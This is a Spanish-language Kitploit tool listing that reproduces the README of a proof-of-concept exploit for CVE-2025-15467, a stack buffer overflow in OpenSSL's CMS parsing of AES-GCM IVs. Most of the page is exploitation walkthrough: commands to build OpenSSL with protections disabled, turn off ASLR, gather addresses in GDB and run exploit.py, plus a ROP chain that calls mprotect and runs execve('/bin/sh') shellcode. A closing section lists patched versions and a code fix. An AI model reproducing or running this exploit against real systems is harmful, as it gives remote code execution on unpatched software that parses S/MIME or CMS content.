Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-15467 — PoC de ejecución de comandos para el desbordamiento de búfer en la pila de OpenSSL CVE-2025-15467 | Kitploit
Herramientas/GitHubGitHub/guiimoraes/cve-2025-15467
Análisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodeCriptografíaAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

PoC de ejecución de comandos para el desbordamiento de búfer en la pila de OpenSSL CVE-2025-15467

Ver Repositorio
1534hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-15467: Desbordamiento de Búfer en la Pila en OpenSSL CMS AuthEnvelopedData

Resumen

CVE-2025-15467 es una vulnerabilidad crítica de desbordamiento de búfer en la pila en el código de análisis de CMS (Cryptographic Message Syntax) de OpenSSL. La vulnerabilidad existe en la función evp_cipher_get_asn1_aead_params() al procesar vectores de inicialización (IV) AES-GCM en estructuras CMS AuthEnvelopedData.

PropiedadValor
CVE IDCVE-2025-15467
GravedadAlta
CVSS8.1+
Versiones afectadasOpenSSL 3.0 - 3.6 (antes de los parches)
ImpactoEjecución remota de código (RCE)
Vector de ataqueRed (análisis de CMS/S-MIME malicioso)
AutenticaciónNo requerida

Detalles de la vulnerabilidad

Causa raíz

La vulnerabilidad se encuentra en crypto/evp/evp_lib.c:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Búfer fijo de 16 bytes

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // ERROR: Usa 'i' (controlado por atacante) como max_len en lugar de EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // DESBORDAMIENTO

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

El fallo

  1. iv es un búfer fijo de 16 bytes en la pila (EVP_MAX_IV_LENGTH = 16)
  2. La primera llamada a ossl_asn1_type_get_octetstring_int() devuelve la longitud del IV desde el archivo
  3. La segunda llamada usa esa longitud (i) como parámetro max_len
  4. Si i > 16, la función escribe más allá del búfer → Desbordamiento de búfer en la pila

Explotación

El desbordamiento ocurre durante el descifrado CMS al analizar los parámetros GCM. Un atacante puede:

  1. Crear un archivo CMS AuthEnvelopedData malicioso con un IV sobredimensionado
  2. Desbordar el búfer de la pila para sobrescribir la dirección de retorno
  3. Redirigir la ejecución a shellcode controlado por el atacante
  4. Lograr la ejecución remota de código

Aplicaciones afectadas

Cualquier aplicación que analice contenido CMS/PKCS#7 no confiable con cifrados AEAD:

  • Clientes de correo que procesan mensajes S/MIME
  • Aplicaciones de firma de documentos
  • Herramientas de gestión de certificados
  • Implementaciones de VPN/TLS que usan CMS
  • Cualquier software que llame a CMS_decrypt() o funciones similares

Prueba de concepto

Requisitos previos

root@kitploit:~
# Instalar dependencias
pip install pwntools  # Opcional, para detección automática de gadgets

# Clonar este repositorio
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Ejecutar script de configuración para compilar OpenSSL vulnerable
chmod +x setup.sh
./setup.sh

O manualmente:

root@kitploit:~
# Descargar y compilar OpenSSL 3.4.0 vulnerable
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compilar SIN protector de pila para una demostración más sencilla
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Generar certificado de prueba

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generar clave y certificado
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Crear archivo CMS válido (necesario como plantilla)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verificar que funcione
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Método 1: Modo automático (recomendado)

El exploit puede detectar automáticamente las direcciones cuando ASLR está deshabilitado:

root@kitploit:~
# Deshabilitar ASLR (requiere root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Ejecutar exploit con detección automática
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Ejecutar el exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# ¡Deberías obtener un shell!

Método 2: Direcciones manuales (mediante GDB)

Si la detección automática falla, obtén las direcciones manualmente:

root@kitploit:~
# Obtener direcciones desde GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Obtener direcciones base de libc y libcrypto
(gdb) continue
(gdb) # Cuando llegue a evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Obtener dirección de la pila

Salida de ejemplo:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Luego genera el exploit:

root@kitploit:~
# Generar exploit con direcciones manuales
# Argumentos: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Ejecutar exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

Cómo funciona el exploit

  1. Parchear CMS válido: Toma un archivo CMS válido y reemplaza el IV de 12 bytes con una carga útil maliciosa
  2. Desbordar la pila: El IV sobredimensionado desborda el búfer de 16 bytes, sobrescribiendo los registros guardados y la dirección de retorno
  3. Cadena ROP: Usa Programación Orientada a Retornos (ROP) para llamar a mprotect() y hacer que la pila sea ejecutable
  4. Ejecución de shellcode: Después de mprotect(), salta al shellcode en la pila mediante un gadget jmp rsp
  5. Shell: Ejecuta execve("/bin/sh", NULL, NULL) para lanzar un shell

Estructura de la cadena ROP

root@kitploit:~
[relleno: 56 bytes hasta alcanzar RIP guardado]
[pop rdi; ret]        <- Establecer RDI = stack_page (primer argumento de mprotect)
[dirección de stack_page]
[pop rsi; ret]        <- Establecer RSI = 0x1000 (segundo argumento de mprotect)
[0x1000]
[pop rdx; pop rbx; ret] <- Establecer RDX = 7 (PROT_RWX, tercer argumento de mprotect)
[7]
[0]                   <- Valor ficticio para RBX
[mprotect]            <- Llamar a mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Saltar al shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

Archivos

ArchivoDescripción
exploit.pyExploit principal con modos automático y manual
setup.shScript para compilar OpenSSL vulnerable
README.mdEsta documentación
TECHNICAL.mdAnálisis técnico profundo de la vulnerabilidad

Mitigaciones

Para usuarios

  1. Actualizar OpenSSL a las versiones parcheadas:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. No procesar contenido CMS/S-MIME no confiable hasta estar parcheado

Para desarrolladores

  1. Validar la longitud del IV antes de copiar:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Usar el max_len correcto en la segunda llamada:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Cronología

FechaEvento
2025-12-14Vulnerabilidad reportada a OpenSSL
2026-01-27Aviso de seguridad publicado
2026-01-27Parches publicados

Referencias

  • OpenSSL Security Advisory
  • CVE-2025-15467

Créditos

  • Guilherme Moraes (@guiimoraes) - Desarrollo del exploit
  • Claude Opus 4.5 (Anthropic) - Investigación y desarrollo asistido por IA

Aviso legal

Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Úsalo de forma responsable.

Licencia

Licencia MIT - Consulta el archivo LICENSE para más detalles.

Descargar herramienta